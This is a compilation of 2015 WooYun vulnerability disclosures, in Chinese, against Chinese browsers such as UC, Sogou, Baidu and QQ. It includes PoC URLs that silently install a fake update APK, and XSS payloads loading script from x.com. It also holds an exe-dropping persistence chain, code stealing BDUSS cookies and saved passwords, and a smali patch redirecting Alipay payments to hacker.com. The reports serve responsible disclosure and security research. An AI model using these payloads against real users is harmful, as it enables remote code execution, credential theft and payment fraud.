UC浏览器某缺陷可能导致手机被植入木马 UC浏览器默认下载APK时
会有提示框
并且下载完成之后
不会自动进入安装界面
但是在插件中心下载插件时发现,当点击安装时,不会有提示框,并且下载完成之后
会自动进入安装界面
。 查看源码时发现,下载APK的URL为 但是在
非*.uc.cn域
下无法直接访问该URL,所以我找了个
*.uc.cn域下的URL跳转
来绕过限制。

http://app.uc.cn/appstore/AppCenter/api/activate_uc?uc_param_str=nieidnutssvebipfcp&src=uc_video&dest_url=ext:uc_dw:http://addondl.uc.cn/resources/pkg/thunder.apk

访问上面的URL,会
自动下载thunder.apk
并进入安装界面 但是当我把下载地址改成我自己服务器上的APK时,发现下载完成之后并不会自动进入安装界面。 刚开始以为只有从uc.cn下载的APK才会自动进入安装界面,但是后来我把下载的插件传到我的服务器上下载时,发现也可以。所以不是下载地址地问题,而是APK的问题。 搜索了一下UC浏览器的插件,找到了开发文档,发现
只有APK被浏览器识别为插件
,才会自动进入安装界面。 所以在AndroidManifest.xml加入上面代码。 要让用户安装,我们可以伪装成浏览器更新。 一般用户看到是在uc.cn域下的,并且提示更新,大部分都会点击安装。
漏洞证明
访问下面的URL

http://app.uc.cn/appstore/AppCenter/api/activate_uc?uc_param_str=nieidnutssvebipfcp&src=uc_video&dest_url=ext%3Auc_dw%3Ahttp%3A%2F%2Fsandboxs-sandbox.stor.sinaapp.com%2Ffake.apk

浏览器会提示安装

wooyun-2015-0154403

缺陷编号:wooyun-2015-0154403 漏洞标题:UC浏览器某缺陷可能导致手机被植入木马 相关厂商:UC Mobile 漏洞作者: Lyleaks 提交时间:2015-11-19 23:15 修复时间:2015-12-17 14:48 公开时间:2015-12-17 14:48 漏洞类型:设计错误/逻辑缺陷


漏洞说明
UC浏览器某缺陷可能导致手机被植入木马 前几天更新到最新版的UC浏览器之后,发现UC增加了一个新功能,自动安装应用。测试之后发现结合之前的一个洞可实现点击一个链接
自动下载安装并启动APP
。 新版的UC浏览器在下载完app之后会提示用户开启自动安装功能 只要开启了该功能,下载完app就会自动安装。之前发过一个洞可以让UC浏览器自动下载APP wooyun-2010-0106283 之前说需要用到
一个**.**.**.**域下的URL重定向
,后来发现并不需要。只要让浏览器打开一个**.**.**.**域下的窗口,然后让该窗口
跳到ext:uc_dw
就行了。
w = window.open("http://www.**.**.**.**"); w.location.href = "ext:uc_dw:download_url";
但是如果下载地址不是**.**.**.**域下,还是会弹出下载确认框。这个可以使用UC自带的分享功能,把下载链接分享到QQ,就能得到一个**.**.**.**域下的短链接http://fxt1.**.**.**.**/11_1dp9T。但是通过该短链接下载的文件,文件名为11_1dp9T,所以需要想办法自定义下载文件名。通过查看UC的代码,发现UC会将ext:uc_dw:后的内容使用|分割,分别作为下载地址,文件名,cookies等。

ext:uc_dw:download_url|filename|download_cookies|download_taskrefuri

所以也就可以自定义下载的文件名了,这样就完成了自动下载APP。 要让安装后的APP自动启动可以使用伪协议,但是因为UC把自定义的伪协议都拦截了,所以也不能使用Intent来启动。但是对于非三星的手机依然可以用伪协议来启动,因为在UC的代码中发现还有samsungapps://可以使用。三星手机应该也可以通过写成UC的插件来通过网页启动,具体还没测试。
漏洞证明
所以构造POC如下:

DEMO

Click

缺陷编号:wooyun-2015-0150916 漏洞标题:QQ浏览器可获取记住的网站密码 相关厂商:腾讯 漏洞作者: gainover 提交时间:2015-10-31 20:57 修复时间:2015-12-17 14:48 公开时间:2015-12-17 14:48 漏洞类型:设计错误/逻辑缺陷


漏洞说明
之前版本8时,已经发过一个可以获取记住的密码的问题,但现在QQ浏览器从8升级到版本9了,内核已换成webkit了,扩展机制也不是自己实现的那一套了。然而QQ浏览器9中,记住密码的功能依然是通过扩展来实现,并且由于扩展的实现代码存在缺陷,依然可以导致跨域获取记住的其他网站密码。 1. 下载QQ浏览器9 最新版本 2. 首先,随便打开一个页面,我们可以看看QQ浏览器里内置了哪些扩展会使用到content script,发现有一个account helper,这不又是帐号助手么,这个内置的帐号助手会不会又存在问题? 从代码里可以看到记住密码的填充流程: a. 建立一个connect, b. 向背景页发送一个消息,用于获取需要填充的密码, c. 背景页根据消息获得数据后,发回给当前页面的content script, d. 当前页的content script的接受fill指令后,执行setData函数存储获取的密码数据。。最后执行fill()函数进行表单填充。 3. 来看看这个流程里会不会有什么缺陷。。 从步骤2可以看出,获取填充密码的流程位于背景页中,所以我们根据

chrome-extension://dbjbbhdmofcmcjdmfolgmgcihbjbaali/account_helper.js

这个地址可以得到背景页地址:

chrome-extension://dbjbbhdmofcmcjdmfolgmgcihbjbaali/background.html

定位background.html里与获取填充密码相关的代码:
var map = {} , blackListMap = {}; chrome.extension.onConnect.addListener(function(a) { /^accountHelper/.test(a.name) && a.onMessage.addListener(function(b) { var c, d; if (b && b.cmd) { if (d = getDomain(a.sender.tab.url), "get" !== b.cmd && isBlackList(d)) return void chrome.contextMenus.update(menuParentId, { enabled: !1 }); ..... case "get": get(d, { id: a.sender.tab.id, url: a.sender.tab.url, title: a.sender.tab.title }, function(b) { if (b && b.length) { if ("1" == b
.isBlackList) return void (blackListMap
.domainURL] = 1); blackListMap
.domainURL] = 0, b = sortByHostURL(b, getHostname(a.sender.tab.url)), a.postMessage({ cmd: "fill", passwordData: b }) } } ); break;
从代码可以看到,get密码的函数调用, get(d, {...}, 回调函数); d变量为需要获取密码的域名,并且,
d = getDomain(a.sender.tab.url)
也就是说,我们所要获取哪个域名下记住的密码,是通过getDomain函数从页面URL里取出来的。 那么,getDomain函数会不会存在问题呢? 4. 为了看看getDomain是如何工作的,我们打开QQ空间的登录页面,并且记住密码, 然后,我们在background.html的getDomain函数里下断点: 继续跟进
tld.getDomain
函数: 在这个函数里,url会经过
isValid --> cleanHostValue --> extractTldFromHost
进入b变量,b进入f变量,最终函数返回f. 其中isValid比较简单,不管了, 所以,我们跟进
d.cleanHostValue
函数: 5. 如上图所示,
cleanHostValue
函数里,是通过正则i,从url里来进行匹配,最终返回正则匹配结果的第4个group,b
,因此正则i成了关键,我们看看正则i是啥?
/(^https?:?\/\/|^\/\/)?(
+(:
+)?@)?(
+)(:|\/|$)/
正则的第4个括号是 host,对正则认真分析一下,不难构造出下面的URL:

http://**.**.**.**:8080/?@**.**.**.**

和正则对应一下,如下图所示: 可见,我们的地址虽然是**.**.**.**:8080 下的,但 host 会被认为是**.**.**.** 6. 接下来的
extractTldFromHost
等函数关系并不大,我们为了验证结果,本地搭建一个8123的服务,然后页面内容就是QQ空间同样的表单。 用QQ浏览器访问:http://**.**.**.**:8123/?@**.**.**.** 可以看到密码会被自动填充。 并且这个密码可以通过脚本被获取: 测试代码见测试代码区域。 具体效果见漏洞证明。 7. 虽然已经可以获取密码了,我们还是继续看下剩下的处理流程: 可以看到被绕过的host为**.**.**.**,最后经过extractTldFromHost函数后, 返回 **.**.**.** 8. 继续: 可以看到,到了get函数时, d 就是 getDomain的返回值 **.**.**.**, 而a.sender.tab.url就是我们页面的url地址:"http://**.**.**.**:8123/?@**.**.**.**/" get函数的回调内容,就是存储的密码信息,随后就是发送fill指令回content script 9. 差不多就是这样了。。

搜狗浏览器远程命令执行(特权域攻击技巧与多处处理意识不当)

缺陷编号:wooyun-2015-0124547 漏洞标题:搜狗浏览器远程命令执行(特权域攻击技巧与多处处理意识不当) 相关厂商:搜狗 漏洞作者: 梧桐雨 提交时间:2015-07-06 10:13 修复时间:2015-10-04 15:22 公开时间:2015-10-04 15:22 漏洞类型:远程代码执行


漏洞说明
更新了搜狗浏览器最新版本,复查前面漏洞发现几个有趣的地方,结合这些有趣的地方依然可以导致命令执行。 最新版: 为什么说有趣?且看我慢慢道来。 0x00、因为之前二哥给报过的漏洞,
window.open()
跳转到扩展域已经被修复了。那么二哥当时是怎么绕过的呢? 可见: WooYun: 搜狗浏览器远程命令执行之四(wooyun-2015-089575) 在复查的过程中,我惊讶的发现,
window.open()+location.href
,又可以从*.sogou.com跳转到特权域( se-extension://)不知道是不是临时工干的?还是代码回滚了?这是其一。也就是说,哪怕你修复了通过a.click()去禁止跳转,已经防御失效了。 0x01、其二,搜狗对前面二哥报过的 WooYun: 搜狗浏览器远程命令执行之四(wooyun-2015-089575) 漏洞进行了修复,目前没有办法通过该案例的xss进行攻击,但这显然不是漏洞的关键点。翻阅了搜狗历史漏洞记录,发现有一个xss依然可以被我利用。就是这个:

http://wap.gouwu.sogou.com/search#shop/query=1"});alert(1);//

但是这个xss并不是很好用,为什么这么说?后面我会详细讲。 0x02、其三,漏洞的关键点, WooYun: 搜狗浏览器远程命令执行之四 这里的插件xss漏洞你们依然没有修复,依然只是对(进行了替换。 0x03、其四,你们对
window.external.extension("installExtFromSidebarBox", "com.qq.AccountProtect", "1.0.6", "test", '-1', 'undefined', 'undefined', "function(){console.log(arguments);}");
这种类型的静默安装插件接口进行了限制,但是因为另外一处的xss导致命令执行。 0x04、其五,之前给你们报过的: WooYun: 搜狗浏览器设计缺陷导致可在任意域构造xss漏洞 发现过滤方式存在问题,具体可看: main()函数中,只对之前的
evil.js:
function ov(){ data = arguments
; data = JSON.parse(data) ; console.log(data) ; } var data ; window.external.extension("getRecommendSidebarExts", "file:///C:/windows/win.ini", "ov");

搜狗浏览器某漏洞一日中招后日日皆后门

缺陷编号:wooyun-2015-0114462 漏洞标题:搜狗浏览器某漏洞一日中招后日日皆后门 相关厂商:搜狗 漏洞作者: 路人甲 提交时间:2015-05-16 16:09 修复时间:2015-08-16 15:58 公开时间:2015-08-16 15:58 漏洞类型:远程代码执行


漏洞说明
1. 最新版本5.3.6.16631(上次漏洞版本为:
5.2.5.15987
),但上一个漏洞并未认真修复。 2. xss虽然修了,但是没修好,依然可以继续利用。比如用来加载一个外部JS:http://x.com/poc/sogou5.2.js

http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480').close();function open(){};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//x.com/poc/sogou5.2.js?'%2bMath.random();document.body.appendChild(s);};a=open('a','&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3

3.
window.open("se://...").external
获得
高权限external
的问题依然没有解决,因此上一个漏洞里的方法依然有效( WooYun: 搜狗浏览器远程命令执行之五 )。 这意味着,依然可以执行到静默安装
com.sogou.cxj009.PicViewer
这个扩展,并且该扩展的XSS漏洞并未修复,之前报过的下载任意文件到本地指定目录的缺陷也并未修补( WooYun: 搜狗浏览器远程命令执行之四 )。 4.
com.sogou.feichuan
默认安装下是
1.0.0.23
,这个版本下不存在上一个漏洞中所说的命令执行API,但是如果用户安装到1.0.0.26,上一个漏洞依然可以成功被利用。 5. 这里假定用户安装的就是
1.0.0.23
版本的
com.sogou.feichuan
,我们不使用飞传这个扩展来进行利用,换一个方式。 6. 方式如下: A. 利用
com.sogou.cxj009.PicViewer
的文件下载到任意目录的缺陷 ( WooYun: 搜狗浏览器远程命令执行之四 )。 B. 分别下载3个文件

http://x.com/poc/sogou.xml --> ../..\\Roaming\\SogouExplorer\\Extension\\com.sogou.gamecenter\\1.1.0\\manifest.xml http://x.com/poc/hehe.js --> ../..\\Roaming\\SogouExplorer\\Extension\\com.sogou.gamecenter\\1.1.0\\hehe.js http://x.com/poc/calcx.exe --> ../..\\Roaming\\SogouExplorer\\Extension\\com.sogou.gamecenter\\1.1.0\\sogouminigamepacker.exe

第一个文件,用来修改
com.sogou.gamecenter
这个扩展的
manifest.xml
,主要修改2个点, 1是为plugin添加
public="true"
,让该plugin可以暴露给任意页面
application/sogou-start-gamecenter-lite-plugin
2是添加一个content script,让每个网页都会加载hehe.js里的代码
hehe.js *://*/*
第二个文件,就是被加载的hehe.js,代码如下:
//在页面内嵌入一个application/sogou-start-gamecenter-lite-plugin var a=document.createElement("div"); a.innerHTML=''; document.body.appendChild(a); //在页面内调用 application/sogou-start-gamecenter-lite-plugin 的 startExe 执行指定路径的exe //现在版本的com.sogou.gamecenter的startExe函数的第一个参数已经改为了目录路径,会执行此目录下的sogouminigamepacker.exe var b=document.createElement("script"); b.innerHTML='document.getElementById("embed1").startExe("../../Roaming/SogouExplorer/Extension/com.sogou.gamecenter/1.1.0/\\u0000","/popgame ",function(){})'; document.body.appendChild(b);
第三个文件,就是需要被hehe.js里的代码所执行的
sogouminigamepacker.exe
C. 当用户访问一次 攻击页面后, 攻击者会释放 以上3个文件, 当用户下次打开浏览器时,任意打开一个页面,就会调用 hehe.js 这个content script,然后利用被public的
application/sogou-start-gamecenter-lite-plugin
的startExe函数来执行所下载的
sogouminigamepacker.exe
。 过程如下图所示: 7. 具体利用流程: http://x.com/poc/sogou_combine2.htm | http://v.sogou.com/vc/play/redirect.jsp (XSS漏洞) | http://x.com/poc/sogou5.2.js (调用) | window.open("se://
sidebarextmanager
/index.html").external.extension("
installExtFromSidebarBox
", "
com.sogou.cxj009.PicViewer
",...) (调用高权限external安装com.sogou.cxj009.PicViewer) | http://v.sogou.com/vc/play/redirect.jsp (再次利用这个XSS漏洞) | http://x.com/poc/sogou5.3.js (调用) | se-extension://ext-1588466412/v.html (利用
com.sogou.cxj009.PicViewer
的XSS漏洞及
download API
) | document.getElementById("picdownloader").download (步骤6中的三个下载过程) | 用户下次使用搜狗浏览器时,执行上一次埋下的EXE。
漏洞证明
最终利用效果如下: 见详细说明。 其中,测试代码中,
com.sogou.gamecenter
是1.1.0版本,现在已经有新的1.2.0版本了,但是这并不影响文中的利用方式。只需要把
sogou.xml
里的版本号以及利用代码路径中的
1.1.0 都改为1.2.0
即可。
修复方案: 根据详细说明来进行修复。 主要依然是对
window.open("se://...").external
的修复,另外防止这类
恶意修改manifest.xml
的行为,应该对 manifest.xml 做改动检查。

缺陷编号:wooyun-2015-0145836 漏洞标题:橘子浏览器远程代码执行 相关厂商:百度 漏洞作者: 梧桐雨 提交时间:2015-10-10 18:14 修复时间:2016-01-11 15:32 公开时间:2016-01-11 15:32 漏洞类型:远程代码执行


漏洞说明
发现了一处特权域的XSS,发现可以结合API获取到百度认证cookie BDUSS。为了保证是最新的,我又在123juzi.com下载了一份最新的,漏洞也是存在的。 具体可看: 版本1.0.9.1033 对橘子浏览器进行分析,发现exe里面藏着宝藏,都写满了html的逻辑! 对常用api分析,发现存在
external
对象。 其中有一些高危的敏感api,譬如:
window.external.ExtGetMostVisitedUrls(external.ExtGetSuperCode(window)) //查看最近打开最多的地址
获取ico图片路径
window.external.ExtGetUrlIconPath(external.ExtGetSuperCode(window),"http://baidu.com")
获取对应橘子浏览器机器的supercode:
external.ExtGetSuperCode(window)
上面这些都不是重点,重头戏下面来了: 跨域访问:
window.external.ExtGetOpenUrls(external.ExtGetSuperCode(window)) //获取当前打开页面url
橘子浏览器的特权域为:
juzi:last history
以及
http://baidu.com

http://123juzi.com
。 以http://baidu.com为例,使用window.external.ExtGetOpenUrls(external.ExtGetSuperCode(window)) api 输出结果: 完全是可以获取到你当前打开的所有url,以及title了。想着能否找一个命令执行呢? 花了1-2天的时间仔细寻找api,发现有这个api可以修改主页的八宫格,因为橘子浏览器的八宫格是在
res://
域的,
允许调用WScript.Shell 执行任意系统的命令
。 api如下:
window.external.ExtModifyNewTabItem(external.ExtGetSuperCode(window), 1, "http://wutongyu.info", "exe")
baidu.com域执行之后: 首页的第二个格子将会变成我的blog的地址。我又想起能用javascript协议来直接执行js命令,但是很不巧,这里过滤了javascript,黑盒了一下发现出现javascript,前面全部会加上一个http。即,如果你想执行javascript:alert(1),就会变成http://javascript:alert(1)。 这样自然没办法执行js,那么能否用空格呢?空格javascript:alert(1),还是一样,没办法绕过。也就是说,你的url里面不存在http://,他就会自动在前面帮你加上。 fuzz之后,发现
javascript:alert(1)//http://
这样的形式,浏览器不会帮你加上http://。即:
window.external.ExtModifyNewTabItem(external.ExtGetSuperCode(window), 1, " javascript:alert(1)//http://", "这是随便起的标题")
但是发现虽然不会给我们加http://,但是点击却是跳转到about:blank的,崩溃,难道没别的办法了吗? 这个时候我又回到阅读源码的阶段,想看看他是怎么过滤的: 功夫不负有心人,在exe里的
function filterUrl()
函数里:具体如下:
function filterUrl(url) { if( url.indexOf("javascript:") == 0 || url.indexOf("vbscript:") == 0 || url.indexOf("jscript:") == 0 ) return ""; url = url.replace(/\\/g,"%5C"); url = url.replace(//g,"%3E"); url = url.replace(/"/g,"%22"); url = url.replace(/'/g,"%27"); url = url.replace(/`/g,"%60"); return url; }
原来他只是过滤
javascript://
协议,并
没有区分大小写
。我们可以用
Javascript://
绕过,来继续执行我们的命令。最后生成的code代码为:见测试代码 在
baidu.com
下执行: 之后,下次用户打开浏览器,打开八宫格的时候点击第二个,任意代码被执行: 事实上,我们通过上面api,可修改所有八宫格的url,全部覆盖为我们的恶意javascript代码。

缺陷编号:wooyun-2015-0145911 漏洞标题:百度浏览器缺陷可导致BDUSS泄漏 相关厂商:百度 漏洞作者: 隐形人真忙 提交时间:2015-10-11 09:10 修复时间:2016-01-11 15:32 公开时间:2016-01-11 15:32 漏洞类型:远程代码执行


漏洞说明
发现了一处特权域的XSS,发现可以结合API获取到百度认证cookie BDUSS。 ----------------------- 0x00 特权域XSS ----------------------- 在bdbrowser://newtab域中,有个常用网址功能,但是没有对title进行有效处理,导致XSS。设置常用网址,只需要给用户一个网址,发现只要在页面中设置js多reload几次就能自动存留在这个popup window中。 Poc.html:
<script src="http://127.0.0.1/browser/test.js"></script> test for baidu browser
上面的title设置成一个script,用来加载外部js执行。 刷新页面,就可以看到这个title没有过滤就输出到页面上。 --------------------------- 0x01 认证cookie泄露 ---------------------------- 特权域存在的XSS不同于其他互联网域的XSS,配合浏览器的特权API,可以做很多事情。 这个案例里,排查了很多API,暂时没有找到新的能够命令执行的方法。但是可以获取认证cookie,比如在一般的网站中,很难获取到百度账号的cookie BDUSS,这个cookie一般是设置为httponly的,但是在特权域轻而易举。 bdbrowser://newtab中存在Request对象,可以执行一些操作,比如篡改主页、读取历史记录、收藏夹等。 这里展示的是获取浏览器账户的BDUSS, test.js:
//获取用户名+BDUSS o = require("common/external") o.send("account_get_userinfo",
, function(e,t){ var username = t.body.display_name ; var bduss = t.body.bduss ; alert(username + " : " + bduss) ; });

漏洞证明
效果如下:

缺陷编号:wooyun-2015-0144905 漏洞标题:百度浏览器命令执行(API处理不当) 相关厂商:百度 漏洞作者: 隐形人真忙 提交时间:2015-10-05 16:55 修复时间:2016-01-11 15:32 公开时间:2016-01-11 15:32 漏洞类型:远程代码执行


漏洞说明
百度浏览器又出新的了,8.0抢鲜版。通过学习二哥的案例,发现命令执行一枚。 --------------------- 0x00 --------------------- 8.0抢先版百度浏览器:
chajian.baidu.com
是个下载浏览器插件的地方,通过对api进行研究,发现了一些问题。 最新版用了requireJS,代码读起来挺费劲的,下载插件调用如下:
n = require("br-api/br-app-api") n.install("ojfdllmbecfclldcjkedlebgnilaobnh", app-url,1,1,ext-url)
根据二哥的《百度浏览器命令执行7》,当弹出插件安装窗口时,
会在本地将zip包中的文件解压
利用
自定义的zip包
,通过
../../
跳转目录,下载到启动目录。新版中对
../../
跳转做了限制,还对zip的url做了限制,不过可以用
@符号
进行绕过。 ../../怎么绕过呢? --------------------------- 0x01 --------------------------- 研究安装插件API,发现,在本地创建的文件夹名称和插件ID有关:
n = require("br-api/br-app-api") n.install("ojfdllmbecfclldcjkedlebgnilaobnh", "http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx",1,1,"http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip")
我们可以通过修改插件名称的形式进行目录跳转,执行:
n = require("br-api/br-app-api") n.install("../fuck", "http://dlsw.br.baidu.com/app/201410/1f457685544a52b101cc1f173adae6f8.crx",1,1,"http://dlsw.br.baidu.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip")
通过跳转下载到C盘根目录: 我们只需要本地搭建个网站,
放入恶意zip包,结合文件夹名../../../跳转即可下载到启动目录实现命令执行
。 --------------------------- 0x02 --------------------------- http://chajian.baidu.com/app-res.html页面依然
没有判断message的origin
,所以利用postMessage还是可以
执行特权函数

利用@符号绕过URL判断
进行跳转,构造POC如下:
百度浏览器命令执行测试 xss
访问连接之后,可以calc.exe被
解压到启动目录下

缺陷编号:wooyun-2015-0138016 漏洞标题:115浏览器跨协议漏洞(可造成泄漏本地文件信息) 相关厂商:115网盘 漏洞作者: 梧桐雨 提交时间:2015-08-31 12:32 修复时间:2015-12-01 14:48 公开时间:2015-12-01 14:48 漏洞类型:设计错误/逻辑缺陷


漏洞说明
某个API可导致跨越浏览器边界,导致任何网站均能实现访问,调用本地资源。 115浏览器最新版: 正常而言,访问url链接的方式无外乎两种:
window.open() location.href='xxx';
但是因为chrome的严格限制,上面的2种api都是没办法访问
chrome://
协议的资源以及
file://
的资源的: 通过上述2个api访问,弹出的只是
about:blank
,这种人畜无害的链接。(无法访问对应的资源的) 通过对115浏览器自带api的研究,我发现有一个对象不需要特权域,你是用115浏览器的用户,就能调用该对象:
browserInterface
该对象又有一个方法:
browserInterface.openSpecificURL();
伪代码:
browserInterface.openSpecificURL(url)
此处我们仅仅需要传入一个url,通过该api,即可跨越浏览器边界,实现访问本地资源! 构造好的poc: http://wutongyu.info/115exp.htm 访问之后:
漏洞证明
当然,也可以调用本地的任意exe,只不过会显示没有数字签名:

缺陷编号:wooyun-2015-0124859 漏洞标题:QQ浏览器Ipad版可跨域 相关厂商:腾讯 漏洞作者: 随随意意 提交时间:2015-07-06 15:38 修复时间:2015-07-07 10:59 公开时间:2015-07-07 10:59 漏洞类型:xss跨站脚本攻击

TSRC认为是系统问题,但是只有ipad这样啊,明明是开发的疏忽,但是屌丝好不容易找到个bug。。。(┬_┬) 不过还是很感激TSRC的meizi曾经给我的宽容,thx,meizi IOS本地域可以跨任意域,导致了在在ios本地执行js存在风险。 而QQ浏览器Ipad版允许在本地执行js,就是下载然后预览文件,而我测试其他浏览器百度,UC都是不允许这么做的,而且QQ浏览器ios非Ipad版都不允许这么做。 #前言 直接先危害证明,懒得打码了 #1 只要在任意地方下载跨域的HTML然后预览就会触发 例如邮箱发一封带有跨域html附件的邮件或者其他方式让你下载或者打开某个html等等场景就会遭到攻击,这样应该算是浏览器漏洞吧? #2 感谢M锅的代码

SOP bypass with window.open()



缺陷编号:wooyun-2015-0121433 漏洞标题:猎豹Android浏览器设计或编码缺陷导致远程拒绝服务漏洞 相关厂商:金山软件集团 漏洞作者: 路人甲 提交时间:2015-07-06 12:36 修复时间:2015-10-04 12:56 公开时间:2015-10-04 12:56 漏洞类型:拒绝服务


漏洞说明

官网下载的最新版本 cheetah_2.42.2.apk

猎豹Android浏览器设计的应该是不支持intent协议的,使用IntentScheme的方式尝试打开其他App的Activity,日志显示如图

但是,不知道什么原因,如果使用IntentScheme的方式来启动猎豹内部的Activity组件(含导出和未导出),会导致猎豹浏览器直接崩溃退出。

只是选取了几个Activity来测试,都会导致崩溃,其中包括调用猎豹浏览器的主界面Activity,估计以IntentScheme的方式调用猎豹的所有Activity,都会导致崩溃。一共好几十个Activity,就不一一测试了,还是你们开发人员分析下崩溃的原因,一并修复了就好 崩溃时的Logcat日志

POC IntentScheme

html测试页面代码如下,使用猎豹浏览器打开,点击任意一个链接,都会导致浏览器崩溃

com.qq.e.ads.AdActivity

com.baidu.mobad.feeds.BaiduActivity

com.ijinshan.browser.screen.SplashActivity

com.ijinshan.browser.screen.BrowserActivity



缺陷编号:wooyun-2015-0124055 漏洞标题:UC浏览器寄生兽漏洞(附支付劫持案例) 相关厂商:UC Mobile 漏洞作者: 路人甲 提交时间:2015-07-02 10:43 修复时间:2015-09-30 14:18 公开时间:2015-09-30 14:18 漏洞类型:远程代码执行


漏洞说明
1.定位污染插件 支付宝插件

07-01 16:06:46.051 19185-19212/? I/IPoison-com.UCMobile﹕ dexPath = /data/data/com.UCMobile/com/alipay/dex/alipay.jar | optimizedDirectory = /data/data/com.UCMobile/com/alipay/odex | libraryPath = /data/data/com.UCMobile/com/alipay/dex/alipay.jar


APk文件:/data/data/com.UCMobile/com/alipay/dex/alipay.jar odex 文件:/data/data/com.UCMobile/com/alipay/odex/alipay.dex so文件:/data/data/com.UCMobile/com/alipay/dex/alipay.jar
淘宝插件

07-01 18:04:41.511 22518-23410/? I/IPoison-com.UCMobile﹕ dexPath = /data/data/com.UCMobile/com/tae/dex/tae.jar | optimizedDirectory = /data/data/com.UCMobile/com/tae/odex | libraryPath = /data/data/com.UCMobile/com/tae/dex/tae.jar


apk 文件:/data/data/com.UCMobile/com/tae/dex/tae.jar odex 文件:/data/data/com.UCMobile/com/tae/odex/tae.dex so 文件:/data/data/com.UCMobile/com/tae/dex/tae.jar
2.确认目录遍历漏洞,即用于 UC 浏览器的写权限 制作包含../的压缩包,解压缩时达到预期效果 3.支付过程

IHook-com.UCMobile I startActivity Component:com.UCMobile/com.alipay.sdk.app.H5PayActivity I startActivity EXTRA: I startActivity EXTRA 1: I startActivity Class: java.lang.String I startActivity Key: url I startActivity Value: https://mclient.alipay.com/cashierRoutePay.htm

4.插入 smali 代码后使用DexClassLoader 构造方法优化生成 odex 文件
.line 105 iget-object v0, p0, Lcom/alipay/sdk/app/H5PayActivity;->e:Landroid/webkit/WebView; new-instance v2, Lcom/alipay/sdk/app/H5PayActivity$MyWebChromeClient; invoke-direct {v2, p0, v6}, Lcom/alipay/sdk/app/H5PayActivity$MyWebChromeClient;->(Lcom/alipay/sdk/app/H5PayActivity;Lcom/alipay/sdk/app/H5PayActivity$1;)V invoke-virtual {v0, v2}, Landroid/webkit/WebView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V const-string v1, "http://hacker.com/ali.html" .line 109 iget-object v0, p0, Lcom/alipay/sdk/app/H5PayActivity;->e:Landroid/webkit/WebView; invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
5.patch crc和 modwhen
» python patch_odex.py patch ApkIDE_alipay.dex orign/alipay.jar patch.dex Original modTime: 0x46e19916 Original CRC: 0x728fcb25 Apk ModTime: 0x4688a1b6 APK classes CRC: 0x15517b04
6.制作 POC 压缩包,释放后即可转化为执行权限.
» tar vft seed.zip -rwxrwxrwx 0 0 0 224344 7 1 19:11 ../../../../../../../../../../data/data/com.UCMobile/com/alipay/odex/alipay.dex -rwxrwxrwx 0 0 0 93212 7 1 19:26 我是谁_没有绝对安全的系统.4.37GB.torrent
7.诱导用户下载解压..
漏洞证明
之后任意使用支付插件的支付行为都会触发劫持,效果如图 附带其他可能有问题的插件
修复方案: 1.encode ../ 2.check plugs load

缺陷编号:wooyun-2015-0121402 漏洞标题:傲游Android版浏览器远程拒绝服务漏洞 相关厂商:傲游 漏洞作者: 路人甲 提交时间:2015-06-25 14:40 修复时间:2015-09-23 14:48 公开时间:2015-09-23 14:48 漏洞类型:拒绝服务


漏洞描述

客户端版本,官网下载的最新版Maxthon_4.4.6.2000_remote_ChinaMainland.apk

还是组件拒绝服务, WooYun: 傲游浏览器Android客户端多个漏洞(信息泄露/远程拒绝服务/SQL注入)(wooyun-2015-0120242) 已经测试了所有导出的组件,这次测试的是所有没有导出的Activity组件。

由于傲游浏览器支持IntentScheme,所以,可以通过这种方式来触发此类漏洞,也就是可以实现远程拒绝服务攻击。 有问题的Activity组件如下,共15个
com.taobao.newxp.view.handler.umwall.AlimamaWall com.mx.browser.cloud.MxCloudSendActivity org.cocos2dx.javascript.AppActivity com.maxthon.mge.LudeiGameActivity com.maxthon.mge.CocosPlayGameRunnerActivity com.chukong.cocosplay.host.CocosPlayHostActivity com.chukong.cocosplay.host.CocosPlayHostActivityGroup com.chukong.cocosplay.host.CocosPlayHostListActivity com.chukong.cocosplay.host.CocosPlayHostTabActivity com.chukong.cocosplay.host.CocosPlayHostFragmentActivity com.chukong.cocosplay.host.CocosPlayHostRemoteActivity com.chukong.cocosplay.host.CocosPlayHostRemoteActivityGroup com.chukong.cocosplay.host.CocosPlayHostRemoteListActivity com.chukong.cocosplay.host.CocosPlayHostRemoteTabActivity com.chukong.cocosplay.host.CocosPlayHostRemoteFragmentActivity

Crash截图,以及部分日志信息

POC IntentScheme,构造的html页面代码:


com.mx.browser.navigation.QuickDialAddActivity

com.taobao.newxp.view.handler.umwall.AlimamaWall

com.mx.browser.cloud.MxCloudSendActivity

com.mx.browser.preferences.BrowserPreferencesPage

com.mx.browser.VoteDialogActivity

com.mx.camera.CropImageActivity

com.mx.browser.account.MailRegisterActivity

com.mx.browser.account.PhoneRegisterActivity

com.mx.browser.navigation.MxFullscreenWebviewActivity

com.mx.browser.readmode.ReadModeActivity

com.maxthon.mge.MgeActivity

org.cocos2dx.javascript.AppActivity

com.maxthon.mge.MgeOnlineGameRunner

com.maxthon.mge.EgretGameActivity

com.maxthon.mge.LudeiGameActivity

com.maxthon.mge.CocosPlayGameRunnerActivity

com.chukong.cocosplay.host.CocosPlayHostActivity

com.chukong.cocosplay.host.CocosPlayHostActivityGroup

com.chukong.cocosplay.host.CocosPlayHostListActivity

com.chukong.cocosplay.host.CocosPlayHostTabActivity

com.chukong.cocosplay.host.CocosPlayHostFragmentActivity

com.chukong.cocosplay.host.CocosPlayHostRemoteActivity

com.chukong.cocosplay.host.CocosPlayHostRemoteActivityGroup

com.chukong.cocosplay.host.CocosPlayHostRemoteListActivity

com.chukong.cocosplay.host.CocosPlayHostRemoteTabActivity

com.chukong.cocosplay.host.CocosPlayHostRemoteFragmentActivity

com.alipay.sdk.app.H5PayActivity


使用傲游浏览器访问效果如图(红字显示的都是有问题的,从上面的html代码也可以看出哪些标红了)


修复方案: 作为浏览器,内部组件也要正确处理异常的intent消息

